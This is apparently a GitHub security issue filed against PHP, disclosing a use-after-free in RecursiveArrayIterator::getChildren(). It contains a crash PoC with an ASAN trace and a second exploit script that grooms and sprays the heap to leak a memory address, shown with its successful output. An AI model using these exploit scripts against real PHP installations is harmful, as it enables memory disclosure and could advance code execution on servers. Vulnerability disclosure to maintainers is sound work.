Skip to content

Use-After-Free in RecursiveArrayIterator::getChildren() #21499

@Qanux

Description

@Qanux

Description

Summary

A heap use-after-free vulnerability exists in PHP's SPL extension (ext/spl/spl_array.c). When RecursiveArrayIterator::getChildren() creates a child iterator, it stores a raw pointer to the parent's internal HashTable bucket without holding a reference. If the parent object is freed and the child's __construct() method is subsequently called with an array having refcount > 1, it accesses the dangling pointer, resulting in a use-after-free condition that could lead to remote code execution.

Details

The vulnerability was introduced in commit 49b2ff5dbb9 (March 2, 2023) which added the is_child and bucket fields to fix GH-10519.

affected versions

PHP 8.6.0-dev (also affects PHP 8.1.18+, 8.2.5+, 8.3+, 8.4+)

PoC

<?php
// Step 1: Create parent iterator with nested array
$parent = new RecursiveArrayIterator([0 => [1, 2, 3, 4, 5]]);

// Step 2: Get child iterator - stores bucket pointer to parent's HashTable
$child = $parent->getChildren();

// Step 3: Free parent - HashTable is freed, bucket becomes dangling
unset($parent);

// Step 4: Create array with refcount > 1 to trigger vulnerable code path
$arr = [10, 20, 30];
$ref = &$arr;

// Step 5: Trigger UAF - accesses freed bucket->val
$child->__construct($arr);

Execution:

USE_ZEND_ALLOC=0 ./sapi/cli/php poc.php

ASAN Output:

=================================================================
==393723==ERROR: AddressSanitizer: heap-use-after-free on address 0x50d000004e51 at pc 0x602cec0b61d7 bp 0x7fff1aec3e70 sp 0x7fff1aec3e60
READ of size 1 at 0x50d000004e51 thread T0
    #0 0x602cec0b61d6 in spl_array_set_array /home/or4nge/php-src/ext/spl/spl_array.c:977
    #1 0x602cec0b687a in zim_ArrayIterator___construct /home/or4nge/php-src/ext/spl/spl_array.c:1716
    #2 0x602cec7224f6 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /home/or4nge/php-src/Zend/zend_vm_execute.h:1988
    #3 0x602cec7224f6 in execute_ex /home/or4nge/php-src/Zend/zend_vm_execute.h:110293
    #4 0x602cec6ec873 in zend_execute /home/or4nge/php-src/Zend/zend_vm_execute.h:115447
    #5 0x602cec840195 in zend_execute_script /home/or4nge/php-src/Zend/zend.c:1980
    #6 0x602cec365c26 in php_execute_script_ex /home/or4nge/php-src/main/main.c:2648
    #7 0x602cec844dcc in do_cli /home/or4nge/php-src/sapi/cli/php_cli.c:949
    #8 0x602ceb8d6792 in main /home/or4nge/php-src/sapi/cli/php_cli.c:1360
    #9 0x7b3a02e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #10 0x7b3a02e29e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #11 0x602ceb8d7a04 in _start (/home/or4nge/php-src/sapi/cli/php+0x4d7a04)

0x50d000004e51 is located 17 bytes inside of 136-byte region [0x50d000004e40,0x50d000004ec8)
freed by thread T0 here:
    #0 0x7b3a034b4537 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:127
    #1 0x602cec753e98 in zend_array_destroy /home/or4nge/php-src/Zend/zend_hash.c:1876
    #2 0x602cec7e7f7e in zend_objects_store_del /home/or4nge/php-src/Zend/zend_objects_API.c:196
    #3 0x602cec5cd9f7 in ZEND_UNSET_CV_SPEC_CV_UNUSED_HANDLER /home/or4nge/php-src/Zend/zend_vm_execute.h:49497
    #4 0x602cec6fa515 in execute_ex /home/or4nge/php-src/Zend/zend_vm_execute.h:115045
    #5 0x602cec6ec873 in zend_execute /home/or4nge/php-src/Zend/zend_vm_execute.h:115447
    #6 0x602cec840195 in zend_execute_script /home/or4nge/php-src/Zend/zend.c:1980
    #7 0x602cec365c26 in php_execute_script_ex /home/or4nge/php-src/main/main.c:2648
    #8 0x602cec844dcc in do_cli /home/or4nge/php-src/sapi/cli/php_cli.c:949
    #9 0x602ceb8d6792 in main /home/or4nge/php-src/sapi/cli/php_cli.c:1360
    #10 0x7b3a02e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

previously allocated by thread T0 here:
    #0 0x7b3a034b4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x602cec4b8d54 in __zend_malloc /home/or4nge/php-src/Zend/zend_alloc.c:3542
    #2 0x602cec75c171 in zend_array_dup /home/or4nge/php-src/Zend/zend_hash.c:2498
    #3 0x602cec0b600b in spl_array_set_array /home/or4nge/php-src/ext/spl/spl_array.c:974
    #4 0x602cec0b687a in zim_ArrayIterator___construct /home/or4nge/php-src/ext/spl/spl_array.c:1716
    #5 0x602cec7224f6 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /home/or4nge/php-src/Zend/zend_vm_execute.h:1988
    #6 0x602cec7224f6 in execute_ex /home/or4nge/php-src/Zend/zend_vm_execute.h:110293
    #7 0x602cec6ec873 in zend_execute /home/or4nge/php-src/Zend/zend_vm_execute.h:115447
    #8 0x602cec840195 in zend_execute_script /home/or4nge/php-src/Zend/zend.c:1980
    #9 0x602cec365c26 in php_execute_script_ex /home/or4nge/php-src/main/main.c:2648
    #10 0x602cec844dcc in do_cli /home/or4nge/php-src/sapi/cli/php_cli.c:949
    #11 0x602ceb8d6792 in main /home/or4nge/php-src/sapi/cli/php_cli.c:1360
    #12 0x7b3a02e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-use-after-free /home/or4nge/php-src/ext/spl/spl_array.c:977 in spl_array_set_array
Shadow bytes around the buggy address:
  0x0a1a7fff8970: 00 00 fa fa fa fa fa fa fa fa 00 00 00 00 00 00
  0x0a1a7fff8980: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
  0x0a1a7fff8990: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x0a1a7fff89a0: 00 00 00 00 00 fa fa fa fa fa fa fa fa fa 00 00
  0x0a1a7fff89b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x0a1a7fff89c0: fa fa fa fa fa fa fa fa fd fd[fd]fd fd fd fd fd
  0x0a1a7fff89d0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
  0x0a1a7fff89e0: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0a1a7fff89f0: 00 00 00 fa fa fa fa fa fa fa fa fa 00 00 00 00
  0x0a1a7fff8a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa
  0x0a1a7fff8a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==393723==ABORTING

Address Leak

poc.php

<?php
ini_set('memory_limit', '-1');

function get_payload($len) {
    return str_repeat("\x00", $len);
}

// Flush memory to force reallocation.
// This is primarily to bypass ASAN quarantine (256MB by default).
// For standard builds, this is harmless but ensures a clean heap state.
function flush_quarantine() {
    $junk = [];
    // 300 chunks of 1MB
    for ($i = 0; $i < 300; $i++) {
        $s = str_repeat("J", 1024 * 1024);
        $s = null; // Free immediately
    }
}

echo "[*] Starting UAF Leak PoC...\n";
echo "[*] PHP Version: " . PHP_VERSION . "\n";

$ATTEMPTS = 5;
// Target sizes:
// 100: Found via fuzzing (Common in system allocator / ASAN builds)
// 231: Standard 256-byte bin for Zend Allocator
// We also include neighbors to handle alignment variations.
$TARGET_LENS = [100, 231, 231-16, 231+16, 103, 111];

$success = false;

for ($attempt = 0; $attempt < $ATTEMPTS; $attempt++) {
    echo "[-] Attempt " . ($attempt + 1) . "...\n";
    
    // 1. Heap Grooming
    $parents = [];
    $children = [];
    
    // Create pairs. 
    // [0 => "pad", 1 => [1]]. 
    // We target index 1.
    for ($i = 0; $i < 20; $i++) {
        $parents[$i] = new RecursiveArrayIterator([0 => "pad", 1 => [1]]);
        $parents[$i]->next();
        $children[$i] = $parents[$i]->getChildren();
    }
    
    // 2. Free Parents
    // This puts chunks into the freelist (or quarantine if ASAN is active).
    foreach ($parents as $i => $p) {
        unset($parents[$i]);
    }
    $parents = null;
    
    // 3. Flush Memory / Quarantine
    // Necessary for ASAN to evict chunks from quarantine.
    // Also helps stabilize heap on standard builds.
    flush_quarantine();
    
    // 4. Spray Strings
    $protector = [];
    foreach ($TARGET_LENS as $len) {
        // Spray enough to catch the slot
        for ($j = 0; $j < 10; $j++) {
             $protector[] = get_payload($len);
        }
    }
    
    // 5. Trigger UAF
    $arr = [1, 2, 3];
    foreach ($children as $c) {
        try {
            $c->__construct($arr);
        } catch (Throwable $e) {}
    }
    
    // 6. Check for Leak
    foreach ($protector as $k => $v) {
        // If string is modified, we won!
        if ($v !== get_payload(strlen($v))) {
            echo "[+] SUCCESS! UAF Triggered.\n";
            echo "[+] String index: $k, Length: " . strlen($v) . "\n";
            
            // Find the modification
            for ($pos = 0; $pos < strlen($v) - 8; $pos += 8) {
                $chunk = substr($v, $pos, 8);
                if ($chunk !== "\x00\x00\x00\x00\x00\x00\x00\x00") {
                    // This is likely the address
                    $addr = unpack("Q", $chunk)[1];
                    printf("[*] Leaked Address at offset %d: 0x%x\n", $pos, $addr);
                    
                    // Check next 8 bytes for type info if available
                    if ($pos + 16 <= strlen($v)) {
                         $type_info = unpack("I", substr($v, $pos + 8, 4))[1];
                         printf("[*] Type Info: 0x%x\n", $type_info);
                    }
                    
                    $success = true;
                    break 2; // Break string loop
                }
            }
            break; // Should break via above, but just in case
        }
    }
    
    if ($success) break;
    
    // Cleanup
    $protector = null;
    $children = null;
    gc_collect_cycles();
}

if (!$success) {
    echo "[-] Failed to leak address.\n";
    exit(1);
}
?>

output

or4nge@localhost:~/mcp/uaf_poc$ ~/php-src/sapi/cli/php ./poc.php
[*] Starting UAF Leak PoC...
[*] PHP Version: 8.6.0-dev
[-] Attempt 1...
[+] SUCCESS! UAF Triggered.
[+] String index: 2, Length: 100
[*] Leaked Address at offset 0: 0x766f38048c40
[*] Type Info: 0x307

Impact

  • Information Disclosure: May read sensitive data from freed/reallocated memory
  • Remote Code Execution: Through heap spraying, an attacker can control the contents of the freed memory region and potentially achieve arbitrary code execution

PHP Version

PHP 8.6.0-dev (cli) (built: Feb  6 2026 12:56:56) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.6.0-dev, Copyright (c) Zend Technologies
    with Zend OPcache v8.6.0-dev, Copyright (c), by Zend Technologies

Operating System

Ubuntu 22.04

Metadata

Metadata

Assignees

Type

No type
No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions